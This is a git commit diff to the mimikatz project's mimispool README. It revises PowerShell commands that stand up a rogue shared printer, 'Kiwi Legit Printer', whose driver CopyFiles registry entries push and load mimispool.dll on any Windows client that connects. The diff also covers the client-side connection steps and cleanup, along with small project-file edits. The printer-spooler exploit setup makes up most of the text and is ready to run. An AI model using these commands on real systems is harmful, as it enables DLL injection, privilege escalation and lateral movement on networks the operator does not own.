[update] mimispool PowerShell commands to use only one printer, from Microsoft

This commit is contained in:
Benjamin DELPY 2021-07-30 23:18:04 +02:00
parent b109ff64da
commit b5efa87e43
3 changed files with 71 additions and 85 deletions

View File

@ -16,38 +16,25 @@ Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($sys
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210729/KyoClassicUniversalKPDL_v3.3_minimal.zip' -OutFile '.\KyoClassicUniversalKPDL_v3.3_minimal.zip'
Expand-Archive -Path '.\KyoClassicUniversalKPDL_v3.3_minimal.zip' -DestinationPath '.\KyoClassicUniversalKPDL_v3.3_minimal'
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
pnputil /add-driver '.\KyoClassicUniversalKPDL_v3.3_minimal\OEMSETUP.inf' /install
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
Add-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows x64'
# Add-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows NT x86'
# little bug bypass here :(
rundll32 printui,PrintUIEntry /ia /m 'Kyocera Classic Universaldriver KPDL' /h x86 /f '.\KyoClassicUniversalKPDL_v3.3_minimal\OEMSETUP.inf'
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
Add-Printer -DriverName 'Kyocera Classic Universaldriver KPDL' -Name ($printerName + ' - x64') -PortName 'FILE:' -Shared
Add-Printer -DriverName 'Kyocera Classic Universaldriver KPDL' -Name ($printerName + ' - x86') -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
```
@ -57,11 +44,9 @@ $printerName = 'Kiwi Legit Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
Remove-Printer -Name ($printerName + ' - x86')
Remove-Printer -Name ($printerName + ' - x64')
Remove-Printer -Name $printerName
Start-Sleep -Seconds 2
Remove-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows NT x86' # -RemoveFromDriverStore
Remove-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows x64' -RemoveFromDriverStore
Remove-PrinterDriver -Name 'Generic / Text Only'
Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll')
Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll')
@ -78,7 +63,7 @@ $username = 'gentilguest'
$password = 'password'
$printerName = 'Kiwi Legit Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
$fullprinterName = '\\' + $serverName + '\' + $printerName
$credential = (New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString -AsPlainText -String $password -Force)))
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' -ErrorAction SilentlyContinue
@ -89,26 +74,25 @@ Add-Printer -ConnectionName $fullprinterName
$driver = (Get-Printer -Name $fullprinterName).DriverName
Remove-Printer -Name $fullprinterName
Remove-PrinterDriver -Name $driver # not removed from DriverStore (not admin)
Remove-PrinterDriver -Name $driver
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
# mimispool still in spool\drivers
```
#### Computer in domain (single sign on with current user to print server)
```
$serverName = 'print.lab.local'
$printerName = 'Kiwi Legit Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
$fullprinterName = '\\' + $serverName + '\' + $printerName
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
$driver = (Get-Printer -Name $fullprinterName).DriverName
Remove-Printer -Name $fullprinterName
Remove-PrinterDriver -Name $driver # not removed from DriverStore (not admin)
Remove-PrinterDriver -Name $driver
# mimispool still in spool\drivers
```

View File

@ -100,5 +100,6 @@
</ItemGroup>
<ItemGroup>
<None Include="mimispool.def" />
<None Include="README.md" />
</ItemGroup>
</Project>

View File

@ -11,5 +11,6 @@
</ItemGroup>
<ItemGroup>
<None Include="mimispool.def" />
<None Include="README.md" />
</ItemGroup>
</Project>